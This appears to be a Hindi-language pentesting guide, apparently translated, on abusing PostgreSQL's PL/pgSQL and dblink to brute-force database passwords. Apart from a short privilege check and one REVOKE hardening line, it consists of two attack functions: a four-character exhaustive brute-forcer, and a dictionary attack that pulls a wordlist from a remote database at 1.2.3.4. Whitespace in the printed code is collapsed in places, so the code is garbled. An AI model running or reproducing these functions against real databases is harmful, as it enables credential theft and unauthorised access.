PL/pgSQL एक पूर्ण विशेषताओं वाली प्रोग्रामिंग भाषा है जो SQL की क्षमताओं से परे बढ़ती है और उन्नत प्रक्रियात्मक नियंत्रण प्रदान करती है। इसमें लूप और विभिन्न नियंत्रण संरचनाओं का उपयोग शामिल है। PL/pgSQL भाषा में बनाई गई फ़ंक्शंस को SQL स्टेटमेंट और ट्रिगर्स द्वारा बुलाया जा सकता है, जो डेटाबेस वातावरण के भीतर संचालन के दायरे को बढ़ाता है।
आप इस भाषा का दुरुपयोग कर सकते हैं ताकि PostgreSQL से उपयोगकर्ता क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए कहा जा सके, लेकिन यह डेटाबेस पर मौजूद होना चाहिए। आप इसकी उपस्थिति की पुष्टि कर सकते हैं:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+---------plpgsql |
डिफ़ॉल्ट रूप से, फंक्शंस बनाना PUBLIC को दिया गया एक विशेषाधिकार है, जहाँ PUBLIC उस डेटाबेस सिस्टम पर हर उपयोगकर्ता को संदर्भित करता है। इसे रोकने के लिए, व्यवस्थापक को PUBLIC डोमेन से USAGE विशेषाधिकार को वापस लेना पड़ सकता था:
REVOKE ALL PRIVILEGES ONLANGUAGE plpgsql FROM PUBLIC;
इस मामले में, हमारी पिछली क्वेरी विभिन्न परिणामों को आउटपुट करेगी:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+-----------------plpgsql | {admin=U/admin}
ध्यान दें कि निम्नलिखित स्क्रिप्ट के काम करने के लिए फंक्शन dblink का होना आवश्यक है। यदि यह मौजूद नहीं है, तो आप इसे बनाने की कोशिश कर सकते हैं
CREATE EXTENSION dblink;
Password Brute Force
यहाँ बताया गया है कि आप 4 अक्षरों के पासवर्ड ब्रूटफोर्स कैसे कर सकते हैं:
//Create the brute-forcefunctionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$DECLAREword TEXT;BEGINFOR a IN65..122LOOPFOR b IN65..122LOOPFOR c IN65..122LOOPFOR d IN65..122LOOPBEGINword := chr(a) || chr(b) || chr(c) || chr(d);PERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnectionTHEN-- do nothingEND;ENDLOOP;ENDLOOP;ENDLOOP;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql';//Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
ध्यान दें कि 4 अक्षरों को ब्रूट-फोर्स करना भी कई मिनट ले सकता है।
आप एक शब्द सूची डाउनलोड कर सकते हैं और केवल उन पासवर्डों को आजमा सकते हैं (शब्दकोश हमला):
//Create the functionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$BEGINFOR word IN (SELECT word FROM dblink('host=1.2.3.4user=namepassword=qwertydbname=wordlists','SELECT word FROM wordlist')RETURNS (word TEXT)) LOOPBEGINPERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnection THEN-- do nothingEND;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql'-- Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');